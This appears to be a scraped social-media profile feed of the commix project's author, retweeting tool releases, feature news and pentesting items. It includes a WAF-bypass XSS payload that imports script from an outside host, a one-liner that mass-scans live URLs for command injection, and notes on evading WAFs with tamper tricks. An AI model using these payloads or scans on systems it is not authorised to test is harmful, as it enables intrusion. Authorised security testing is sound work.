Team leader @Obrela_Labs. Author of @commixproject. Builder n' breaker seduced by the dark side.
Athens, Greece
Joined November 2013
- Tweets4.2K
- Following378
- Followers1.7K
- Likes4.1K
Anastasios S. retweeted
The #BugBounty community asked for an API. Since 2016. Almost a decade later, commix now has a REST API + a @Burp_Suite extension.
- API: github.com/commixproject/com…
- Burp: github.com/commixproject/com…
#Pentesting #InfoSec #CyberSecurity #HackerOne #Bugcrowd #Intigriti #YesWeHack #CTF
Anastasios S. retweeted
How do you extract command output from blind command injection with no output, no sleep, and no OAST? @commixproject now introduces a Boolean-based blind technique.
If you're a #BugBounty hunter on #HackerOne, #Bugcrowd, #Intigriti, #YesWeHack, or anywhere else, this is for you.
Anastasios S. retweeted
#Bugbounty hunting + #WAF + PHP code #injection?
WAF blocks system, exec, shell_exec etc?
Don't send them in the payload.
New tamper "phpserverheader" moves them into HTTP headers and reconstructs execution through "$_SERVER".
Update now to the latest dev and happy hunting.🫡
Anastasios S. retweeted
🚨 Breaking news: Time-related techniques just got a serious upgrade.
Added parallel data retrieval with `--threads` and optimized time-related techniques using binary search for character extraction.
github.com/commixproject/com…
#BugBounty #BugBounty #BugBountyTools #Pentest
Anastasios S. retweeted
‼️🚨 BREAKING: GitHub has been compromised by TeamPCP. GitHub has confirmed the internal breach. A poisoned VS Code extension on an employee device exfiltrated ~3,800 internal repositories.
TeamPCP is already selling the data on a cybercrime forum.
Anastasios S. retweeted
Commix recognized among the Top Pentesting Tools for 2025 by @ECCOUNCIL.
eccouncil.org/cybersecurity-…
Respect to everyone who keeps pushing it forward.
Big salut. 🫡
#pentesting
#infosec
#bugbounty
#cybersecurity
#opensource
Anastasios S. retweeted
🚨 Heads up! Automated Commix crash reporting is officially deprecated.
All GitHub issues are now manual - review, tweak, and submit.
Anastasios S. retweeted
Celebrating 11 years of @commixproject. 🎉
The anniversary release v4.1 is out: github.com/commixproject/com…
Huge thanks to everyone who contributed, tested, reported issues, and supported the project over the years. 🫡
#OpenSource #InfoSec #CTF #BugBounty #BugBountyTools #Pentesting
Anastasios S. retweeted
Improved handling of non-ASCII characters in URL path and query components. github.com/commixproject/com… #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting
Anastasios S. retweeted
Our top Vulnerability Scanning tools:
- ZAP: Web app vulnerabilities
- Nuclei: Precise scanning, no false positives
- Sqlmap: Automate SQL injection flaw detection
- Commix: Command injection vulnerabilities
- Nikto: Web server audits
Read the guide👇
trickest.com/solutions/autom…
Anastasios S. retweeted
Automated Command Injection Scan on Live Parameterized URLs with Commix ☕👇
cat urls.txt | grep "?" | httpx -mc 200 -silent | while read url; do commix --url="$url" --batch; done
Anastasios S. retweeted
🚨 Breaking News!
Usage wiki just dropped a major update. Clearer, deeper, and packed with examples to get you in, pop the shell, and keep moving.
github.com/commixproject/com…
#bugbounty #infosec #rce #commandinjection #pentesting #hacking
Anastasios S. retweeted
Hottest cybersecurity open-source tools of the month: February 2025 - helpnetsecurity.com/2025/03/… - @Github @commixproject @ancst @netbird - #GitHub #OpenSource #CyberSecurity #CyberSecurityNews #SecurityNews #software
Anastasios S. retweeted
Added a new tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case github.com/commixproject/com… #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting
Anastasios S. retweeted
📛 commix
🧠 Commix is an open-source penetration testing tool that automates the detection and exploitation of command injection vulnerabilities, requiring Python to run.
🛠️ @commixproject
💻 Python
⭐ 4930
🍴 849
🔗 github.com/commixproject/com…
Anastasios S. retweeted
Commix: Open-source OS command injection exploitation tool - helpnetsecurity.com/2025/03/… - @commixproject @ancst #OpenSource @Github #GitHub #CyberSecurity #netsec #security #InfoSecurity #ITsecurity #CyberSecurityNews #SecurityNews
Anastasios S. retweeted
🚨CVE ALERT!
While working with Nuclei @wiz_io, I discovered CVE-2024-43405, a vulnerability that bypasses template signature verification, potentially allowing malicious code execution on machines running Nuclei 🛡️
Here’s what you need to know: 🧵
Anastasios S. retweeted
Today Is the Day! Ten years of @commixproject and the (anniversary) v4.0 is out: github.com/commixproject/com… #OpenSource #InfoSec #CTF #CyberSecurity #BugBounty #BugBountyTips #BugBountyTools #Pentesting
Anastasios S. retweeted
Best #XSS Payload 💣 💥
#Bypass Akamai, Imperva and CloudFlare #WAF 🧱🔥
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
#BugBounty 🐞 #PenTesting 🔏
knoxss.me - It's like magic. ✨
Anastasios S. retweeted
Thrilled to release my latest research on Apache HTTP Server, revealing several architectural issues! blog.orange.tw/2024/08/confu…
Highlights include:
⚡ Escaping from DocumentRoot to System Root
⚡ Bypassing built-in ACL/Auth with just a '?'
⚡ Turning XSS into RCE with legacy code from 1996